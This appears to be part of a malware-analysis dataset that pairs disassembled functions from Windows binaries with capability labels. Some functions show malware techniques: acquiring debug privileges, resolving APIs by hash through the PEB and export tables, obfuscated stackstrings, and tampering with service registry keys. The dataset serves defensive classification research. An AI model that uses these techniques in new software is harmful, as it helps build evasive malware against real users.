joyce8/EMBER2024-capa huggingface dataset:
Function at 0xbef1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00bef140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00bef140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00bef140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00bef140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xbefbfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xbefc50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xc0187c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xbefc43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xbefc52
xor eax, eax
pop esi
leave
ret 4

Function at 0x4105bc
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43189c], 0
push esi
jne 0x4105f3
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4105cd
mov dword [ecx*4 + 0x431898], eax
inc ecx
cmp ecx, 0x100
jl 0x4105c8
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x410624
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431898]
xor eax, esi
inc ecx
dec edx
jne 0x410606
pop edi
not eax
pop esi
ret 0xc
Function at 0x10011f9
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x1001100
call fcn.010013e4
xor ebx, ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x1001236
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001236
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x100124e
cmp eax, 0x20b
je 0x100123b
mov dword [ebp - 0x1c], ebx
jmp 0x1001262
cmp dword [ecx + 0x84], 0xe
jbe 0x1001236
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x100125c
cmp dword [ecx + 0x74], 0xe
jbe 0x1001236
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x100201c], 0xffffffff
or dword [0x1002020], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x1002018]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x1002014]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1002024], eax
call fcn.010013de
cmp dword [section..data], ebx
jne 0x10012bd
push fcn.010013de
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.010013cc
push 0x100106c
push 0x1001068
call sub.msvcrt.dll__initterm
mov eax, dword [0x1002010]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x100200c]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x30], eax
push 0x1001064
push 0x1001060
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x34], esi
cmp byte [esi], 0x22
jne 0x1001353
inc esi
mov dword [ebp - 0x34], esi
mov al, byte [esi]
cmp al, bl
je 0x1001327
cmp al, 0x22
jne 0x1001319
cmp byte [esi], 0x22
jne 0x1001330
inc esi
mov dword [ebp - 0x34], esi
mov al, byte [esi]
cmp al, bl
je 0x100133a
cmp al, 0x20
jbe 0x100132c
mov dword [ebp - 0x4c], ebx
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x4c], 1
je 0x100135e
movzx eax, word [ebp - 0x48]
jmp 0x1001361
cmp byte [esi], 0x20
jbe 0x1001330
inc esi
mov dword [ebp - 0x34], esi
jmp 0x1001353
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call main
mov esi, eax
mov dword [ebp - 0x7c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x100137e
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x10013b3
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0100141d
ret

Function at 0x40104e
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 0xc], ecx
jbe 0x401068
mov dl, byte [esp + 8]
xor byte [ecx + eax], dl
inc ecx
cmp ecx, dword [esp + 0xc]
jb 0x40105a
ret

Function at 0x401069
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 0xc], ecx
jbe 0x401089
movzx edx, byte [eax + ecx*2]
xor dx, word [esp + 8]
mov word [eax + ecx*2], dx
inc ecx
cmp ecx, dword [esp + 0xc]
jb 0x401075
ret
Function at 0x10001100
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push ebx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
push eax
pop eax
mov eax, dword [eax]
mov ebx, dword [eax + 0x18]
mov dword [ebp - 4], ebx
push eax
mov eax, dword [ebp - 4]
push 0x5c
push eax
call fcn.100068ec
add esp, 8
test eax, eax
je 0x10001137
add eax, 2
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
call fcn.10001040
cmp eax, 0x879df9c
jne 0x10001115
pop eax
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
pop ebx
mov eax, dword [ebp - 8]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001160
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5a4d
sub esp, 0x10
cmp word [esi], ax
je 0x10001176
xor eax, eax
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x3c]
cmp dword [eax + esi], 0x4550
jne 0x10001170
mov eax, dword [eax + esi + 0x78]
mov ecx, dword [eax + esi + 0x24]
mov edx, dword [eax + esi + 0x1c]
add eax, esi
push ebx
mov ebx, dword [eax + 0x20]
mov eax, dword [eax + 0x18]
push edi
add ebx, esi
add ecx, esi
add edx, esi
xor edi, edi
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
test eax, eax
je 0x10001200
mov edx, dword [ebx + edi*4]
mov cl, byte [edx + esi]
add edx, esi
xor eax, eax
test cl, cl
je 0x100011e7
mov edi, edi
movsx ecx, cl
shl eax, 4
add eax, ecx
mov ecx, eax
inc edx
and ecx, 0xf0000000
je 0x100011de
mov ebx, ecx
shr ebx, 0x18
xor eax, ebx
not ecx
and eax, ecx
mov cl, byte [edx]
test cl, cl
jne 0x100011c0
mov ebx, dword [ebp - 8]
and eax, 0x7fffffff
cmp eax, dword [ebp + 8]
je 0x100011f7
inc edi
cmp edi, dword [ebp - 4]
jb 0x100011b0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
cmp edi, eax
jne 0x1000120c
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
movzx eax, word [ecx + edi*2]
mov eax, dword [edx + eax*4]
pop edi
add eax, esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001280
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
mov esi, eax
mov eax, dword [0x1001e730]
mov ecx, dword [eax + 0x14]
push edi
push esi
call ecx
xor edi, edi
cmp eax, edi
jne 0x100012a7
mov edx, dword [0x1001e730]
mov eax, dword [edx + 0x20]
push esi
call eax
mov edx, dword [ebp + 0xc]
mov dword [ebp - 8], edi
cmp dword [edx], edi
je 0x10001397
mov dword [ebp - 0xc], edi
push ebx
lea esp, [esp]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10001379
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
jne 0x10001379
mov ecx, dword [ecx + eax + 0x78]
mov edi, dword [ecx + eax + 0x1c]
mov ebx, dword [ecx + eax + 0x20]
mov esi, dword [ecx + eax + 0x24]
add ecx, eax
mov ecx, dword [ecx + 0x18]
add edi, eax
add ebx, eax
add esi, eax
mov dword [ebp - 0x1c], edi
xor edi, edi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], ecx
test ecx, ecx
je 0x1000135e
mov edx, dword [edx]
mov dword [ebp - 0x14], edx
mov esi, dword [ebx + edi*4]
mov dl, byte [esi + eax]
add esi, eax
xor ecx, ecx
test dl, dl
je 0x10001347
mov edi, edi
movsx edx, dl
shl ecx, 4
add ecx, edx
mov edx, ecx
inc esi
and edx, 0xf0000000
je 0x1000133e
mov ebx, edx
shr ebx, 0x18
xor ecx, ebx
not edx
and ecx, edx
mov dl, byte [esi]
test dl, dl
jne 0x10001320
mov ebx, dword [ebp - 0x10]
and ecx, 0x7fffffff
cmp ecx, dword [ebp - 0x14]
je 0x10001358
inc edi
cmp edi, dword [ebp - 4]
jb 0x10001310
mov esi, dword [ebp - 0x18]
mov ecx, dword [ebp - 4]
cmp edi, ecx
je 0x10001379
movzx ecx, word [esi + edi*2]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [edx + ecx*4]
add ecx, eax
je 0x10001379
mov edx, dword [ebp + 8]
mov esi, dword [ebp - 0xc]
mov dword [esi + edx], ecx
mov ecx, dword [ebp - 8]
inc ecx
lea edx, [ecx*4]
mov dword [ebp - 0xc], edx
add edx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
cmp dword [edx], 0
jne 0x100012c0
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10001910
Capabilities:
Check if file exists
Create directory
Get common file path
Get file attributes
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3a8
mov eax, dword [0x1001c460]
xor eax, esp
mov dword [esp + 0x3a4], eax
push esi
push edi
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x104
lea ecx, [esp + 0x2a4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 3
lea edx, [esp + 0x2a4]
push edx
push 0x1001e764
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push str.ProgramDataMicrosoftWindows
call edi
cmp eax, 3
jl 0x100019fc
push str.ProgramDataMicrosoftWindows
push 0x1001e764
push 0x10019868
push 0x1001e768
call fcn.1000747f
add esp, 0x10
push 0x1001e768
lea eax, [esp + 0x19c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x198]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x100019c7
test al, 0x10
jne 0x100019e3
push 0
push 0x1001e768
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
push 0
push 0x1001e768
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.10005bf0
pop edi
pop esi
mov ecx, dword [esp + 0x3a4]
xor ecx, esp
call fcn.1000680f
mov esp, ebp
pop ebp
ret
lea edx, [esp + 0x198]
push edx
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x198]
push eax
push 0x1001e768
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x198]
push ecx
mov esi, 0x1001e768
call edi
cmp byte [eax + esi - 1], 0x5c
jne 0x10001a47
lea edx, [esp + 0x198]
push edx
call edi
mov byte [eax + esi - 1], 0
mov ecx, dword [esp + 0x3ac]
pop edi
pop esi
xor ecx, esp
call fcn.1000680f
mov esp, ebp
pop ebp
ret
Function at 0x10002200
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [0x1001c460]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
dec eax
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x10002368
push 0x68
call fcn.1000691a
mov dword [0x1001e730], eax
call fcn.10001220
push 0x38
call fcn.1000691a
push 0x1001d3b4
mov dword [0x1001e72c], eax
push eax
mov eax, str.Advapi32.dll
call fcn.10001280
push 0x10
call fcn.1000691a
push 0x1001d3f0
mov dword [0x1001e728], eax
push eax
mov eax, str.WiniNet.dll
call fcn.10001280
mov eax, dword [0x1001e730]
mov ecx, dword [eax + 0x4c]
add esp, 0x1c
push str.header
xor ebx, ebx
push ebx
push 0x20000
call ecx
cmp eax, ebx
jne 0x1000237f
mov edx, dword [0x1001e730]
mov eax, dword [edx + 0x48]
push str.header
push ebx
push ebx
call eax
mov ecx, dword [0x1001e730]
mov dword [0x1001e748], eax
mov edx, dword [ecx + 0x38]
push esi
mov dword [0x1001e870], esi
call edx
mov eax, dword [0x1001e730]
mov ecx, dword [eax + 0x10]
call ecx
xor ecx, ecx
lea edx, [ebp - 0x24]
push edx
push eax
mov dword [ebp - 0x24], 0x6d6e7572
mov dword [ebp - 0x20], 0x6c6c6479
mov dword [ebp - 0x1c], 0x6578652e
mov byte [ebp - 0x18], bl
mov dword [ebp - 0x17], ecx
mov dword [ebp - 0x13], ecx
mov dword [ebp - 0xf], ecx
mov dword [ebp - 0xb], ecx
mov word [ebp - 7], cx
mov byte [ebp - 5], cl
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x10002368
mov dword [0x1001e86c], 1
call fcn.10001910
call fcn.10007737
cdq
mov ecx, 0x1a
idiv ecx
push 0x103
push ebx
mov byte [ebp - 0x128], bl
mov dword [0x1001e760], edx
lea edx, [ebp - 0x127]
push edx
call fcn.1000c490
mov ecx, dword [0x1001e870]
add esp, 0xc
push 0x104
lea eax, [ebp - 0x128]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebx + 6]
call fcn.10003950
dec esi
jne 0x10002355
lea ebx, [ebp - 0x128]
call fcn.100035a0
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.1000680f
mov esp, ebp
pop ebp
ret 0xc
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1001e730]
push ecx
call fcn.1000699a
mov edx, dword [0x1001e72c]
push edx
call fcn.1000699a
mov eax, dword [0x1001e728]
push eax
call fcn.1000699a
add esp, 0xc
jmp 0x10002368

Function at 0x100023b0
Capabilities:
Create thread

Disassembly:
push esi
call fcn.10001910
push 0
push 0
push 0
push 0x10001ef0
push 0
push 0
call fcn.100075c8
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
push 0x3e8
call esi
push 0
push 0
push 0
push 0x10003a60
push 0
push 0
call fcn.100075c8
push 0
push 0
push 0
push 0x10002010
push 0
push 0
call fcn.100075c8
call fcn.10003d20
push 1
push str.Verdec
push str.SOFTWARESecurityCmd
mov ecx, 1
mov edx, str.RAR_v1
call fcn.10006020
add esp, 0x3c
push 0xffffffffffffffff
call esi
pop esi
ret
Function at 0x10002430
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1001c460]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1001e730]
mov ecx, dword [eax + 0x10]
call ecx
push str.notepad.exe
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x100024e6
xor ebx, ebx
mov dword [0x1001e86c], ebx
call fcn.10001910
push 0x103
lea edx, [ebp - 0x107]
push ebx
push edx
mov byte [ebp - 0x108], bl
call fcn.1000c490
mov ecx, dword [0x1001e870]
add esp, 0xc
push 0x104
lea eax, [ebp - 0x108]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebx + 6]
call fcn.10003950
dec esi
jne 0x100024a5
lea ebx, [ebp - 0x108]
call fcn.100035a0
mov edx, dword [0x1001e730]
push edx
call fcn.1000699a
mov eax, dword [0x1001e72c]
push eax
call fcn.1000699a
mov ecx, dword [0x1001e728]
push ecx
call fcn.1000699a
add esp, 0xc
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000680f
mov esp, ebp
pop ebp
ret

Function at 0x10002550
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1001a898
push 0x1000b9f0
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x1001c460]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
xor edi, edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 4], edi
push edi
push 0x80
push 3
push edi
push 1
push connect
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp esi, 0xffffffff
je 0x100025d5
push edi
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100025d5
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.100025f9
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002610
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1001a878
push 0x1000b9f0
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x1001c460]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
xor edi, edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 4], edi
push edi
push 0x80
push 4
push edi
push edi
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp esi, 0xffffffff
je 0x100026aa
push 2
push edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100026aa
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
test eax, eax
je 0x100026aa
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.100026ce
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100026e0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1001a858
push 0x1000b9f0
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x1001c460]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 4], edi
push edi
push edi
push 3
push edi
push 1
push connect
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp esi, 0xffffffff
je 0x1000274a
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0xfffffffe
call fcn.1000276e
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002b60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x1001c460]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x1dd
lea eax, [ebp - 0x1e5]
push 0
push eax
mov esi, ecx
mov dword [ebp - 0x208], 0x74537953
mov dword [ebp - 0x204], 0x635c6d65
mov dword [ebp - 0x200], 0x65727255
mov dword [ebp - 0x1fc], 0x6f63746e
mov dword [ebp - 0x1f8], 0x6f72746e
mov dword [ebp - 0x1f4], 0x7465536c
mov dword [ebp - 0x1f0], 0x7265535c
mov dword [ebp - 0x1ec], 0x65636976
mov word [ebp - 0x1e8], 0x5c73
mov byte [ebp - 0x1e6], 0
call fcn.1000c490
add esp, 0xc
push esi
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [0x1001e72c]
push 0
lea edx, [ebp - 0x20c]
push edx
mov edx, dword [ecx + 0x1c]
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x208]
push eax
push connect
call edx
mov eax, dword [ebp - 0x20c]
lea ecx, [ebp - 0x214]
push ecx
push 0x20006
push 0
push str.Parameter
push eax
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.NtRenameKey
push esi
call ebx
push str.RtlInitUnicodeString
push esi
mov dword [ebp - 0x210], eax
call ebx
push str.Parameters
lea edx, [ebp - 0x21c]
push edx
mov dword [0x1001e74c], eax
call eax
mov ecx, dword [ebp - 0x214]
lea eax, [ebp - 0x21c]
push eax
push ecx
call dword [ebp - 0x210]
mov edx, dword [0x1001e72c]
mov ebx, eax
mov eax, dword [edx + 0x18]
push edi
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x20c]
mov edx, dword [0x1001e72c]
mov eax, dword [edx + 0x18]
push ecx
call eax
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000680f
mov esp, ebp
pop ebp
ret
Function at 0x10002ce0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x1001c460]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x1dd
lea eax, [ebp - 0x1e5]
push 0
push eax
mov esi, ecx
mov dword [ebp - 0x208], 0x74537953
mov dword [ebp - 0x204], 0x635c6d65
mov dword [ebp - 0x200], 0x65727255
mov dword [ebp - 0x1fc], 0x6f63746e
mov dword [ebp - 0x1f8], 0x6f72746e
mov dword [ebp - 0x1f4], 0x7465536c
mov dword [ebp - 0x1f0], 0x7265535c
mov dword [ebp - 0x1ec], 0x65636976
mov word [ebp - 0x1e8], 0x5c73
mov byte [ebp - 0x1e6], 0
call fcn.1000c490
add esp, 0xc
push esi
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [0x1001e72c]
push 0
lea edx, [ebp - 0x20c]
push edx
mov edx, dword [ecx + 0x1c]
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x208]
push eax
push connect
call edx
mov eax, dword [ebp - 0x20c]
lea ecx, [ebp - 0x214]
push ecx
push 0x20006
push 0
push str.Parameters
push eax
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.NtRenameKey
push esi
call ebx
push str.RtlInitUnicodeString
push esi
mov dword [ebp - 0x210], eax
call ebx
push str.Parameter
lea edx, [ebp - 0x21c]
push edx
mov dword [0x1001e74c], eax
call eax
mov ecx, dword [ebp - 0x214]
lea eax, [ebp - 0x21c]
push eax
push ecx
call dword [ebp - 0x210]
mov edx, dword [0x1001e72c]
mov ebx, eax
mov eax, dword [edx + 0x18]
push edi
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x20c]
mov edx, dword [0x1001e72c]
mov eax, dword [edx + 0x18]
push ecx
call eax
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000680f
mov esp, ebp
pop ebp
ret
Function at 0x100036d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x1001c460]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
push 0x3f
lea edx, [ebp - 0x43]
push 0
push edx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], ecx
mov byte [ebp - 0x44], 0
call fcn.1000c490
add esp, 0xc
xor edi, edi
mov ecx, dword [0x1001e72c]
mov edx, dword [ecx + 0x24]
lea eax, [ebp - 0x48]
push eax
push 9
push 0
push str.SOFTWARESecuritySvc
mov ebx, 0x104
push connect
mov dword [ebp - 0x4c], ebx
call edx
test eax, eax
jne 0x100037b3
mov ecx, dword [ebp - 0x48]
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x4c]
push eax
push esi
push edi
push ecx
mov dword [ebp - 0x4c], ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x100037a4
mov edx, dword [ebp - 0x48]
mov eax, dword [0x1001e72c]
mov ecx, dword [eax + 0x18]
push edx
call ecx
push 0
push esi
push str.SOFTWARESecuritySvc
mov ecx, 1
lea edx, [ebp - 0x44]
call fcn.10006020
mov edx, dword [ebp - 0x50]
add esp, 0xc
mov ebx, eax
push edx
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10003788
cmp ebx, 1
je 0x100037c5
inc edi
xor eax, eax
cmp edi, 0x19
jb 0x10003701
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000680f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x48]
mov edx, dword [0x1001e72c]
mov eax, dword [edx + 0x18]
push ecx
call eax
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000680f
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x54]
push 0
push esi
push str.SOFTWARESecuritySvcPath
mov ecx, 1
call fcn.10006020
mov ecx, dword [ebp - 4]
add esp, 0xc
pop edi
xor ecx, ebp
pop ebx
call fcn.1000680f
mov esp, ebp
pop ebp
ret